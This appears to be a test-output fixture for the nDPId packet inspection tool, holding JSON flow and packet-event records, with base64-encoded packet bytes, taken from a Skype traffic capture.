+00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1789,"source":"skype.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":1,"flow_first_seen":1431969715510,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.238.7.203","src_port":50117,"dst_port":18767,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":253,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1789,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":510906,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA3TdAAEAGS\/3AqAEiR+4Hy8PFSU9+U7C+AAAAALAC\/\/8DrQAAAgQFtAEDAwUBAQgKPiOnggAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1790,"source":"skype.pcap","alias":"nDPId-test","flow_id":254,"flow_packet_id":1,"flow_first_seen":1431969715511,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"5.248.186.221","src_port":50118,"dst_port":31010,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":254,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1790,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":511090,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAKktAAEAGjc3AqAEiBfi63cPGeSKEqukYAAAAALAC\/\/8kCwAAAgQFtAEDAwUBAQgKPiOnggAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1791,"source":"skype.pcap","alias":"nDPId-test","flow_id":255,"flow_packet_id":1,"flow_first_seen":1431969715511,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"86.31.35.30","src_port":50119,"dst_port":59621,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":255,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1791,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":511238,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAylVAAEAGNVvAqAEiVh8jHsPH6OX+Qs16AAAAALAC\/\/+d5AAAAgQFtAEDAwUBAQgKPiOnggAAAAAEAgAA"} +00438{"flow_id":255,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1793,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":594629,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8OFdAAHEGll1WHyMewKgBIujlw8c9omIw\/kLNe6ASIADqygAAAgQFrAEDAwgEAggKABoEJj4jp4I="} +00425{"flow_id":255,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1794,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":594733,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0XmBAAEAGoVzAqAEiVh8jHsPH6OX+Qs17PaJiMYAQECwpEwAAAQEICj4jp9MAGgQm"} +00507{"flow_id":255,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1795,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":594853,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABw38hAAEAGH7jAqAEiVh8jHsPH6OX+Qs17PaJiMYAYECw3awAAAQEICj4jp9MAGgQmHtru+ymkRTm2A+pHY3Z215sOyr8gdCtg1iulMa+dZEfWu2orjZ6TYb2ikYW441sdIsnlNVwIFS7UO6av"} +00441{"flow_id":254,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1797,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":635591,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABAzWBAAHIGuLcF+LrdwKgBInkiw8ZD4gQbhKrpGbASRBB8ngAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00426{"flow_id":254,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1798,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":635729,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0wlBAAEAG9dPAqAEiBfi63cPGeSKEqukZQ+IEHIAQECwLJwAAAQEICj4jp\/sAAAAA"} +00466{"flow_id":254,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1799,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":635854,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"0NQSxnP1PBXCt3IOCABFAABRANtAAEAGtyzAqAEiBfi63cPGeSKEqukZQ+IEHIAYECxo4QAAAQEICj4jp\/sAAAAAcfG0QpE3RDshJ7poDocJf7VVpqo3Mo3QyGFUfnU="} +00492{"flow_id":255,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1802,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":658682,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"PBXCt3IO0NQSxnP1CABFAABjOFhAAHEGljVWHyMewKgBIujlw8c9omIx\/kLNt4AYAQLwuAAAAQEICgAaBC0+I6fTktZQgnOXJEJTsISTORA2HxXslH1JCfqHP0cjnwzmo7k6OoXPj3NL6OguTVMX+5o="} +00425{"flow_id":255,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1803,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":658809,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0JjdAAEAG2YXAqAEiVh8jHsPH6OX+Qs23PaJiYIAQECooZQAAAQEICj4jqBEAGgQt"} +00426{"flow_id":251,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1804,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":659042,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0A7FAAEAG\/AvAqAEiVh8jHsPD6OVaW8L9OrkzbYARECkJVwAAAQEICj4jqBEAGgO9"} +00449{"flow_id":255,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1805,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":659212,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"0NQSxnP1PBXCt3IOCABFAABFBHpAAEAG+zHAqAEiVh8jHsPH6OX+Qs23PaJiYIAYECp6HgAAAQEICj4jqBEAGgQtY1R9uOTiptMR6EzlMglWk1o="} +00446{"flow_id":255,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1806,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":727174,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCOFxAAHEGllJWHyMewKgBIujlw8c9omJg\/kLNyIAYAQK51QAAAQEICgAaBDM+I6gRjBgcfGLHmRCW5A5lM9Q="} +00426{"flow_id":255,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1807,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":727297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0XSxAAEAGopDAqAEiVh8jHsPH6OX+Qs3IPaJiboAQECon\/AAAAQEICj4jqFUAGgQz"} +01447{"flow_id":255,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1808,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":730244,"pkt_caplen":820,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":820,"pkt_l4_len":786,"pkt":"0NQSxnP1PBXCt3IOCABFAAMmUaFAAEAGqynAqAEiVh8jHsPH6OX+Qs3IPaJiboAYECqc4wAAAQEICj4jqFcAGgQzWRztBm2tRRcebbtciwC+I3lwKWj14mfkkgB1KhslSRYsUQ728y7zrX6F91yYKILOWFcfjmHiPyH2gmn5grH0M6YlUvm3gd5\/bqYYjIsAf\/NJ+qunteGURj0OVQD7mP711Pk4Myo0j2HlA+Im3Yw+vSEvCFMJy6Q0R8pzBMspz+Xqh+dO722gfRaQRkM1ZePWHbSHVBsXJYWPgufBAx47mtsF16qKsnScJH5+knqC0DDWUMr3mK+iiHo25QnBJj79vB2hzI88Hnk5spYUhqVcxQn8JilxJwH+bYYpJagFwtXPJBrrbY5AtdvT0tiRsbw0qgl8OM+6grKiyR+GcYgCBjxSasJ5rkiG7hy3vo5YXdCH0fdVdVD8vriIuzKKUoZ7ZthnCXICktSz0F3gt8MzaY0Y08vNvLGDplIXxGYV4sTuhsLIORVjcMD7zoypz+ukmh5zguFMHN15++YR++oNc6JCK16VI7gQBdxwzW+VXPCR9CIjT7lX3lj+AIdzsKcQukuxpVv7c9SLELMY6p0eMm\/cIulQS7OkwAiDec9lEcdNcth9mvDrvhNlLXwyJ1\/3kd8l7r8tSUMTiiawix4pBf1zwPuEYOeDMmj9DElyy2nA8ko5\/ppEq7YljEBEtZDaLpfbuG6qPzW1BulkyRaSOlGk2wlj\/TVEqvtkAjeisK+n93oVVmH+RvYJUgdOGc6Dutc5KMVia7fnSyCbDXxRkuT1AMMg\/PTmpVY4gNZdCiR9e6ZJBDuzSeXnmXqncUkR7hToAMSQ1B9uQ2tZTOowUOLdtTgr163xE5EsH6F+LkAO0WUv\/QAzEDkffT9h+7mG7EGRWjSA1eS3d5X5WSeXzLuAlQRz3KHtjaH80jXg5ka+ofhRlP9KD\/ojPEMLvuHyHq9yodsGrtdm1\/mwC+tkhUy9wvOXjIYJVd1ytHklNDUcmU4ZkGPtwf2xkHjTa38W3D03oPML9uX+TUiICt5tfpEGPwCsH+hLoUjavFukz+vaWg=="} +00444{"flow_id":253,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1809,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":739018,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABA9cxAAHMGAGhH7gfLwKgBIklPw8W6q5ekflOwv7AS\/\/+V\/QAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00426{"flow_id":253,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1810,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":739151,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0iyZAAEAGnhrAqAEiR+4Hy8PFSU9+U7C\/uquXpYAQECzgEQAAAQEICj4jqF8AAAAA"} +00504{"flow_id":253,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1811,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":739270,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"0NQSxnP1PBXCt3IOCABFAABtBt9AAEAGIinAqAEiR+4Hy8PFSU9+U7C\/uquXpYAYECysRgAAAQEICj4jqF8AAAAAVDgEuw8SF15aGv5KwkPfIYmpZmZ0ucqVlEouiH1egPaJKziCCa38jwc1TDzWspxXGrrgcXxl7tvV"} +00530{"flow_id":254,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1812,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":747735,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"PBXCt3IO0NQSxnP1CABFAAB9zW1AAHIGuG0F+LrdwKgBInkiw8ZD4gQchKrpNoAYQ\/O36gAAAQEICgAAbr0+I6f7KIPcmLAVFnkaHVtsy6BBP2ldX66gHOpxvnQEQeOlf1A7Bmj++SpEhbSp\/JwKswD8wXMMiEBwYy+bwsqiSovhLRm5s0jDXpUpIQ=="} +00425{"flow_id":254,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1813,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":747861,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0oxdAAEAGFQ3AqAEiBfi63cPGeSKEquk2Q+IEZYAQECmbmgAAAQEICj4jqGcAAG69"} +00425{"flow_id":250,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1814,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":748086,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0wEtAAEAG99jAqAEiBfi63cPCeSJZV8vpQ7fcvYARECoMGgAAAQEICj4jqGcAAG6y"} +00449{"flow_id":254,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1815,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":748257,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"0NQSxnP1PBXCt3IOCABFAABF675AAEAGzFTAqAEiBfi63cPGeSKEquk2Q+IEZYAYECmEUAAAAQEICj4jqGcAAG69UhqDDf9XagvX5uLe2azFMn8="} +00448{"flow_id":255,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1816,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":798376,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCOF5AAHEGllBWHyMewKgBIujlw8c9omJu\/kLNyIAYAQJB9AAAAQEICgAaBDo+I6hVizNigL\/7wZ+JGL4SPpg="} +00426{"flow_id":255,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1817,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":798493,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0MClAAEAGz5PAqAEiVh8jHsPH6OX+QtC6PaJifIAQECkkswAAAQEICj4jqJgAGgQ6"} +00445{"flow_id":254,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1822,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":858494,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCzXBAAHIGuKUF+LrdwKgBInkiw8ZD4gRlhKrpR4AYQ+L8zAAAAQEICgAAbr4+I6hnOAluenMFZrS2hdKSYZY="} +00425{"flow_id":254,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1823,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":858598,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0RR1AAEAGcwfAqAEiBfi63cPGeSKEqulHQ+IEc4AQECmbEAAAAQEICj4jqNEAAG6+"} +00439{"flow_id":252,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1824,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":904496,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA80eFAAEAGCDDAqAEiUVNNjcPEROe9aVaB2bol\/oAYECliIAAAAQEICj4jqP4AupldFs\/7EKwgSC8="} +00438{"flow_id":250,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1825,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":955537,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8kTJAAEAGJurAqAEiBfi63cPCeSJZV8vhQ7fcvYAZECrGqQAAAQEICj4jqTAAAG6yvouwwfuK2cY="} +00476{"flow_id":253,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1826,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":958620,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"PBXCt3IO0NQSxnP1CABFAABX9dlAAHMGAERH7gfLwKgBIklPw8W6q5elflOw+IAY\/8b4ewAAAQEICgMco4s+I6hfpoo0qYcSB8Se3sAmHRKq16MBrKQwh0OqijGW+EHoEBAe+2o="} +00425{"flow_id":253,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1827,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":958721,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA03xVAAEAGSivAqAEiR+4Hy8PFSU9+U7D4uquXyIAQECo4PAAAAQEICj4jqTMDHKOL"} +00425{"flow_id":249,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1828,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":958945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0i7hAAEAGnYjAqAEiR+4Hy8PBSU++p148nwx1rIARECiIbwAAAQEICj4jqTMDHKOA"} +00451{"flow_id":253,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1829,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":959073,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"0NQSxnP1PBXCt3IOCABFAABF7TJAAEAGO\/3AqAEiR+4Hy8PFSU9+U7D4uquXyIAYECrXxwAAAQEICj4jqTMDHKOLIzgdxP00IPW\/+VionbBv4ds="} +00446{"flow_id":254,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1830,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":968871,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCzXVAAHIGuKAF+LrdwKgBInkiw8ZD4gRzhKrpR4AYQ+LQHAAAAQEICgAAbr8+I6jR9AmlQG9lrDP6BJC2V4Q="} +00427{"flow_id":254,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1831,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":968966,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Q7tAAEAGdGnAqAEiBfi63cPGeSKEqulHQ+IEgYAQECialwAAAQEICj4jqTwAAG6\/"} +00435{"flow_id":254,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1832,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":969056,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4I9VAAEAGlEvAqAEiBfi63cPGeSKEqulHQ+IEgYAYECiCmgAAAQEICj4jqTwAAG6\/Xee6CQ=="} +00438{"flow_id":251,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1833,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":972851,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89dhAAEAGCdzAqAEiVh8jHsPD6OVaW8L1OrkzbYAZECmjMQAAAQEICj4jqT8AGgO9IXsnOyU+9vo="} +00427{"flow_id":255,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1834,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":998132,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0OGpAAHEGllJWHyMewKgBIujlw8c9omJ8\/kLQuoAQAP80CQAAAQEICgAaBE8+I6hX"} +00434{"flow_id":255,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1835,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":998242,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4PsBAAEAGwPjAqAEiVh8jHsPH6OX+QtC6PaJifIAYECmbnAAAAQEICj4jqVgAGgRPthvSGQ=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1836,"source":"skype.pcap","alias":"nDPId-test","flow_id":256,"flow_packet_id":1,"flow_first_seen":1431969716015,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"81.83.77.141","src_port":50121,"dst_port":17639,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":256,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1836,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969716,"pkt_ts_usec":15431,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAfGpAAEAGXaPAqAEiUVNNjcPJROc2X9vGAAAAALAC\/\/\/T7gAAAgQFtAEDAwUBAQgKPiOpaQAAAAAEAgAA"} +00437{"flow_id":226,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1840,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969716,"pkt_ts_usec":62424,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8OGdAAEAGIETAqAEiQTffD8OynFri9dCOh7IvWoAZECn47gAAAQEICj4jqZUuudJYB9ShBDhY9ug="} +00437{"flow_id":256,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1841,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969716,"pkt_ts_usec":76217,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8egBAAHQGLBFRU02NwKgBIkTnw8naYr1gNl\/bx6ASIACSowAAAgQFrAEDAwgEAggKALqZxj4jqWk="} +00424{"flow_id":256,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1842,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969716,"pkt_ts_usec":76309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0B4NAAEAG0pbAqAEiUVNNjcPJROc2X9vH2mK9YYAQECzRAwAAAQEICj4jqaIAupnG"} 